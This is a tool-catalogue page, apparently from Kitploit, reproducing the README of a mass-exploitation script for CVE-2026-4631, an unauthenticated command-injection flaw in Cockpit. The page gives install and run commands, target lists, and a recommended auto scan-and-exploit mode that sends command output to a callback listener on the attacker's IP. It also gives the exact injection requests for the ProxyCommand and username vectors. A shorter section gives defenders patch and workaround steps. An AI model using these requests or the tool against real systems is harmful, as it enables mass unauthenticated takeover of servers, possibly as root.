Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-4631-cockpit-RCE — Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH в Cockpit версиях 327 – 359 | CVSS 9.8 Критический | CWE-78 | Kitploit
Инструменты/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеКомандование и УправлениеRed Teaming
Инструмент Удаленного Доступа
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH в Cockpit версиях 327 – 359 | CVSS 9.8 Критический | CWE-78

Репозиторий
212 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-4631 — инструмент массовой эксплуатации Cockpit

Неаутентифицированное удалённое выполнение кода через инъекцию аргументов командной строки SSH Версии Cockpit 327 – 359 | CVSS 9.8 критический | CWE-78

Инструмент массовой эксплуатации CVE-2026-4631 в веб-сервисе Cockpit (cockpit-ws, порт 9090). Поддерживает режим сканирования уязвимостей, режим RCE с перехватом вывода команды через встроенный HTTP callback-листенер, режим --auto (сканирование + эксплойт за один проход с командой по умолчанию id), автодобавление порта :9090 для целей без порта, оба вектора атаки (ProxyCommand + инъекция %r в имени пользователя), массовые цели из файла, конкурентные потоки (threading) и структурированный вывод результатов.

Автор: 0xNuts


Быстрый старт

Клонирование и установка

git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

Подготовка целей

Отредактируйте targets.txt — один хост в строке. Порт :9090 добавляется автоматически, если его нет:

192.168.1.10
cockpit.example.com
https://manage.lab.local

Запуск (режим AUTO — рекомендуется)

# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>

# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

Другие режимы

# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>

# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>

Примечания о callback

CVE-2026-4631 — это слепой RCE (blind RCE): вывод команды не возвращается в HTTP-ответе. Инструмент использует встроенный HTTP-листенер (порт по умолчанию 8888) для перехвата вывода. Убедитесь:

  1. --callback-ip — это IP-адрес, доступный с целевой системы (не 127.0.0.1)
  2. Firewall разрешает входящие TCP-соединения на порт 8888 (или на ваш --listener-port)
  3. Целевая система может отправлять исходящие HTTP-запросы на IP-адрес атакующего

Как исправить / митигировать (защитникам)

1. Обновите Cockpit (обязательно)

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. Отключите удалённый вход (обходной путь)

Отредактируйте /etc/cockpit/cockpit.conf:

[WebService]
LoginTo = false

Перезапустите службу:

sudo systemctl restart cockpit

3. Сегментация сети

Ограничьте порт 9090 только управляющей сетью:

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. Обновите OpenSSH >= 9.6

Митигирует вектор 1 (инъекцию ProxyCommand) за счёт ранней проверки имени хоста:

ssh -V   # harus OpenSSH_9.6 atau lebih baru

5. Ручной патч (бэкпорт)

Если обновление до 360 невозможно, примените исправляющие коммиты:

  • cockpit 9d0695647 — добавлен разделитель -- в beiboot.py и cockpitauth.c
  • ferny 44ec511c99 — добавлен -- в session.py

Подробности патча: см. docs/PATCH_ANALYSIS.md


Содержание

  1. Сводка об уязвимости
  2. Вектор атаки
  3. Предусловия эксплуатации
  4. Установка
  5. Использование
  6. Режимы работы
  7. Примеры выполнения
  8. Формат вывода
  9. Архитектура инструмента
  10. Структура файлов
  11. Механизм перехвата слепого RCE
  12. Обнаружение и митигирование
  13. Правовой отказ от ответственности
  14. Ссылки

Сводка об уязвимости

ПолеОписание
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
СерьёзностьКритический (CVSS 9.8)
CWECWE-78 — внедрение команд ОС
ЗатронутыCockpit 327 – 359
Исправлено вCockpit 360+
Требуется аутентификацияНЕТ (без аутентификации)
СообщилJelle van der Waa
Сервисcockpit-ws, порт по умолчанию 9090

Cockpit v327 заменил cockpit-ssh (libssh) на python3 -m cockpit.beiboot, который вызывает системный OpenSSH-клиент ssh. Пользовательский ввод — имя хоста из пути URL и имя пользователя из заголовка Authorization: Basic — передаётся в ssh без санитизации и без разделителя конца опций --. Инъекция происходит до проверки учётных данных, поэтому действительный логин не требуется.


Вектор атаки

Вектор 1 — инъекция ProxyCommand (основной)

Имя хоста из пути URL инъекцируется с помощью SSH-опции -oProxyCommand=<cmd>.

GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")

SSH интерпретирует -oProxyCommand=<cmd> как опцию и выполняет <cmd> в качестве ProxyCommand. Команда выполняется от пользователя процесса cockpit-ws.

Предусловие: OpenSSH < 9.6 на целевой системе. В OpenSSH 9.6+ реализована ранняя проверка имени хоста, которая блокирует метасимволы.

Вектор 2 — инъекция токена %r в имени пользователя (дополнительный)

Имя пользователя из заголовка Authorization: Basic инъекцируется shell-командой.

GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")

SSH подставляет имя пользователя в токен %r в директиве Match exec → shell выполняет внедрённую команду.

Предусловие: в ssh_config целевой системы есть директива Match exec с токеном %r.


Предусловия эксплуатации

Сторона атакующего (машина, на которой запущен инструмент)

  • Python 3.8+
  • IP-адрес, доступный с целевого Cockpit (для callback-листенера)
  • Открытый порт для листенера (по умолчанию 8888)
  • Firewall, разрешающий входящие соединения от целевой системы к порту листенера

Сторона цели (экземпляр Cockpit)

  • Версия Cockpit 327 – 359
  • Порт 9090 доступен
  • Функция удалённого входа (LoginTo) не отключена
  • Для вектора 1: OpenSSH < 9.6
  • Для вектора 2: ssh_config с Match exec %r

Установка

# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Install dependency
pip install -r requirements.txt

# Verifikasi
python3 exploit.py --help

Зависимости

  • requests>=2.31 — HTTP-клиент для эксплойт-запросов
  • colorama>=0.4 — цветной вывод в терминале

Для листенера дополнительных зависимостей не требуется (используются stdlib http.server + threading).


Использование

usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection
Скачать инструмент